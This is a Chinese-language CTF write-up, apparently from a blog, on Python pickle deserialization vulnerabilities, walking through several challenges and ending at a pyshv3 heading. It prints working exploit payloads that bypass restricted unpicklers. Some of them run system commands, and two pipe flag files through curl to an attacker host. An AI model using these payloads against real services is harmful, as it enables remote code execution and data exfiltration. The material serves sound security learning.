0x00 前言
在上一篇文章中(Python之Pickle反序列化),我们初步了解了Pickle反序列化以及一些常用的OPCode的含义,但是我们还没有来探讨Pickle在反序列化时可能产生的漏洞,所以在这篇文章中,就让我们通过一些题目,来学习一下Pickle的反序列化漏洞吧。
本篇文章包含以下元素:
- Pickle反序列化漏洞的利用
- 有趣的CTF题目
懒狗把收集的题目打包在了Github上(chenlvtang/PickleUnserialization),可以fork一份来自己练习
0x01 pickle store
环境搭建
有Dockefile,但是编译了几次,都卡在了选择时区上,网上搜了搜,加了一个ENV DEBIAN_FRONTEND=noninteractive
, 终于编译好了…心累,差不多每次都要修一修Dockerfile。然后仔细一看,container文件夹下少了flag.txt,自己加了一个。重新编译,慢的一批,玩了好久手机,真不是我想摸鱼。运行后访问,500,真的麻了。后来想到直接用Flask运行就完事了,结果又报错一个TypeError: Missing required parameter 'digestmod'.
,看github上升级impacket,然并卵。代码中确实没有传这个参数,但是看网上好像是可以缺省,缺省默认为md5,搞不懂,就加上算了,h = hmac.new(key,digestmod='sha1')
….哎,终于可以了
网站功能
是个卖pickle腌黄瓜的网站,应该是用钱买flag,最是第三个,但是我们的钱显然不够。钱应该是在Cookie里,是个base64,解码看看:
…要不是这里专门学Pickle,我真不知道这是个啥。其实这是Pickle序列化后的内容,我们还是可以看到一些我们眼熟的( u ] }
之类的。这里应该是不能靠修改cookie中的Money来增加钱的,后面有个hmac,来防止我们修改,那直接手搓一个Pickle,让他在反序列化的时候就直接执行代码。直接使用c
来引入模块,然后用R来执行吧😋。最后因为懒得手搓,干脆就让python帮我生成一个吧(懒🐕), 记得上文我们说过使用__reduce__
方法(这个方法会告诉pickle反序列化时做什么,相当于PHP中的__wakeup, 要在类中使用)会生成R指令。
import pickle
import os
class Test:
def __reduce__(self):
return(os.system,('whoami',))
test = Test()
payload = pickle.dumps(test, 0)
print(payload)
test_result = pickle.loads(payload)
拿到payload后,记得base64加密一下,因为服务端应该会把cookie先base64解码,再反序列化,然后再进行操作。然后我们的命令也要换一下,换成外带数据的吧。不然可能500。(如果你看源码,会发现对Pickle反序列化没做任何过滤,所以不考虑绕过啥的)
exp
import requests
import base64
target = "http://192.168.65.129"
#因为服务器是Linux,所以是posix;如果服务器是Windows,改成nt
payload =b'cposix\nsystem\np0\n(Vcurl http://192.168.65.1:2333/`cat flag* | base64`\np1\ntp2\nRp3\n.'
if __name__ == "__main__":
exp = base64.b64encode(payload).decode("utf-8")
cookie = {"session": exp}
print(cookie)
session = requests.session()
r = session.post(url = target + "/buy", cookies = cookie)
print(r.text)
0x02 picklecode
环境搭建
给出了docker-compose.yml,十分的方便与快捷捏。
网站功能
…是Django,不会做,而且环境好像也有点问题,这题包含两部分,第一部分是利用格式化字符串漏洞拿到session code,第二部分是手搓Pickle,然后利用以上两者来替换Cookie,即可进行命令执行。因为Django也不会,这里又主讲Pickle, 那就直接把反序列化的部分提炼出来吧,内容如下:
import pickle
import io
import builtins
__all__ = ('PickleSerializer', )
class RestrictedUnpickler(pickle.Unpickler):
blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}
def find_class(self, module, name):
# Only allow safe classes from builtins.
if module == "builtins" and name not in self.blacklist:
return getattr(builtins, name)
# Forbid everything else.
raise pickle.UnpicklingError("global '%s.%s' is forbidden" %(module, name))
class PickleSerializer():
def dumps(self, obj):
return pickle.dumps(obj)
def loads(self, data):
try:
if isinstance(data, str):
raise TypeError("Can't load pickle from unicode string")
file = io.BytesIO(data)
return RestrictedUnpickler(file,
encoding='ASCII', errors='strict').load()
except Exception as e:
print(e)
if __name__ == "__main__":
payload = b'cnt\nsystem\np0\n(Vcurl http://192.168.65.1:2333/`cat flag*`\np1\ntp2\nRp3\n.'
myPickleEngine = PickleSerializer()
myPickleEngine.loads(payload)
这里参照了Python官方给出的保证反序列安全的方法,通过自定义过程类中的find_class方法,来防止pickle自动引入一些危险的类,详见:pickle — Python object serialization。但是不同的是,官方给出的是白名单,这里则是黑名单,所以,这里会存在绕过的问题。
可以看到的是,这里只允许引入使用builtins模块,即Python3内建模块,并禁止了一些函数,但是因为是黑名单,所以很其他一些遗漏的函数可供我们利用,比如我们可以使用builtins.__dict__.get('eval')
来获得eval函数,要实现这样的结果,我们可以使用getattr
,形如builtins.getattr(builtins.__dict__,'get')('eval')
,因为这里模块名是builtins,函数名为getattr或__dict__,都不在黑名单中,所以都可以绕过过滤。大致的OPCode像这样:"cbuiltins\ngetattr\n(cbuiltins\n__dict__\nS'get'\ntR(S'eval'\ntR."
,然后就可以利用eval来执行命令了: pickle.loads(b"cbuiltins\ngetattr\n(cbuiltins\n__dict__\nS'get'\ntR(S'eval'\ntR(S'__import__('os').system('whoami')'\ntR.")
exp
0x03 webtmp
环境搭建
使用Flask,直接run
网站功能
需要输入base64加密后的Pickle数据,查看源码:
import secret
#.....
if request.method == 'POST':
try:
pickle_data = request.form.get('data')
if b'R' in base64.b64decode(pickle_data): # 不能包含R字符
return 'No... I don\'t like R-things. No Rabits, Rats, Roosters or RCEs.'
else:
result = restricted_loads(base64.b64decode(pickle_data)) # 被反序列化
if type(result) is not Animal:
return 'Are you sure that is an animal???'
correct = (result == Animal(secret.name, secret.category)) # 对比是否一致
return render_template('unpickle_result.html', result=result, pickle_data=pickle_data, giveflag=correct)
except Exception as e:
print(repr(e))
return "Something wrong"
如果和 Animal(secret.name, secret.category)
一致就会给出flag,但是我们并不知道secret中的name和category的值,所以也就得不到flag。可以看到这里直接禁止了R指令,另外还重写了find_class来限制:
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module == '__main__':
return getattr(sys.modules['__main__'], name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))
好在我们可以利用Pickle中的b
来进行变量覆盖。
exp
import requests
import pickle
import base64
payload=b'c__main__\nsecret\n(S"name"\nS"foo"\nS"category"\nS"bar"\ndb(S"foo"\nS"bar"\ni__main__\nAnimal\n.'
exp = base64.b64encode(payload).decode()
print(exp)
0x04 pyshv1
环境搭建
懒得搭建了,直接用python运行pyshv1\_files\task\home\task\server.py
就行了
审题
#pickle.whitelist.append('sys')
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module not in whitelist or '.' in name:
raise KeyError('The pickle is spoilt :(')
return pickle.Unpickler.find_class(self, module, name)
def loads(s):
"""Helper function analogous to pickle.loads()."""
return RestrictedUnpickler(io.BytesIO(s)).load()
只允许导入sys模块,并且Object不能有点,来限制导入子模块(事实上我都不知道怎么导入子模块…)。sys模块又没有builtins模块中的getattr,不然还可以和那一题一样,看起来好像是没得搞了。其实还是有的搞的😋:sys模块中有个modules,是一个全局字典,会在python程序启动时,将导入过的模块放入字典之中,当下次再调用时,就可以直接从内存中取出,十分滴方便与快捷捏。由上,我们很容易就能够想到,sys模块也会在sys.modules之中。另外,我们注意到modules是一个字典,我们如果修改了字典的值,再次导入同名模块时,也会发生改变,而利用pickle来修改一个字典的值又是非常简单的。所以我们可以想到这样的骚操作:将sys.moudles中的sys的值为其他模块不断修改来实现在通过sys.ObjectName
验证的同时又可以调用出其他模块中的方法。具体思路如下:
- 将sys.modules中的sys的值改为sys.modules
- 因为此时的sys是一个字典,所以可以通过sys调用出get方法
- 通过get方法,来获得字典中os模块
- 修改字典中sys的值改为os
- 这时候就可以直接用sys来获取system函数了
- 利用system函数执行命令
将以上思路转写成pickle:
- csys\nmodules\np0\nS’sys’\ng0\ns
- csys\nget\np1\n
- g1\n(S’os’\ntRp2\n
- g0\nS’sys’\ng2\ns (直接写sys\nS’sys’\ntg2\ns是不行的,p0任然指向的是原sys.moudles处,所以可以利用)
- csys\nsystem\np3\n
- g3\n(S’whoami’\ntR.
组合一下得到payload:
b"csys\nmodules\np0\nS'sys'\ng0\nscsys\nget\np1\ng1\n(S'os'\ntRp2\ng0\nS'sys'\ng2\nscsys\nsystem\np3\ng3\n(S'whoami'\ntR."
exp
import base64
payload = b"csys\nmodules\np0\nS'sys'\ng0\nscsys\nget\np1\ng1\n(S'os'\ntRp2\ng0\nS'sys'\ng2\nscsys\nsystem\np3\ng3\n(S'whoami'\ntR."
exp = base64.b64encode(payload).decode()
print(exp)
虽然报错了,但是成功执行了我们的命令
0x05 pyshv2
环境搭建
和上一题一样,懒得搭建了,待会直接运行就行了
审计
#pickle.whitelist.append('structs')
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module not in whitelist or '.' in name:
raise KeyError('The pickle is spoilt :(')
module = __import__(module)
return getattr(module, name)
可以看到的是白名单这次是换了一个自定义模块,查看源码后,发现这是一个空的py文件。另外值得注意的是,这次这里的导入模块有点不同,官方是直接使用getattr(moudule,name),这里多使用了一次__import__,所以这可能会造成一些问题。现在我们先不管这个,先来想想攻击思路(结合上面做的题,懒狗很自然的想到了下面的方法):
- 导入structs中的__dict__获得字典
- 向字典中添加’structs’,并将值设置为structs.__builtins__
- 如果我们能直接用structs来表示字典中的’structs’,岂不是直接可以structs.get(“eval”)
然后理想很丰满,现实很骨干,我们并不能直接用structs来表示字典中的structs。这时候我们就注意到上面多余的__import__,这个方法是存在于__builtins__中的,且现在我们已经可以获得,如果直接修改__import__的值为structs.__getattribure__,那么在我们使用cstructs\nget\n的时候,最后的调用岂不是就变成了getattr(structs.__getattribute__(structs), 'get')
, 这样就可以直接执行命令了!?所以我们重写思路如下:
- 导入structs中的__dict__获得字典,记为p0
- 导入structs.__builtins__ ,记为p1
- 为字典添加’structs’,并将值设为p1
- 修改p1中的__import__的值为structs.__getattribute__
- 通过structs导入get,然后调用eval执行命令
写成pickle的形式,如下:
- cstructs\n__dict__\np0\n
- cstructs\n__builtins__\np1\n
- g0\nS’structs’\ng1\ns
- g1\nS’__import__’\ncstructs\n__getattribute__\ns
- cstructs\nget\n(S’eval’\ntR(S’pickle.sys.modules[\‘os\‘].system(\‘whoami\‘)’\ntR. (这里不能再使用__import__了,所以通过已经导入的pickle模块来调用system)
拼接后,得到payload为:
cstructs\n__dict__\np0\ncstructs\n__builtins__\np1\ng0\nS'structs'\ng1\nsg1\nS'__import__'\ncstructs\n__getattribute__\nscstructs\nget\n(S'eval'\ntR(S'pickle.sys.modules[\'os\'].system(\'whoami\')'\ntR.
exp
import base64
payload = b"cstructs\n__dict__\np0\ncstructs\n__builtins__\np1\ng0\nS'structs'\ng1\nsg1\nS'__import__'\ncstructs\n__getattribute__\nscstructs\nget\n(S'eval'\ntR(S'pickle.sys.modules[\'os\'].system(\'whoami\')'\ntR."
exp = base64.b64encode(payload).decode()
print(exp)
0x06 pyshv3
环境搭建
懒得搭建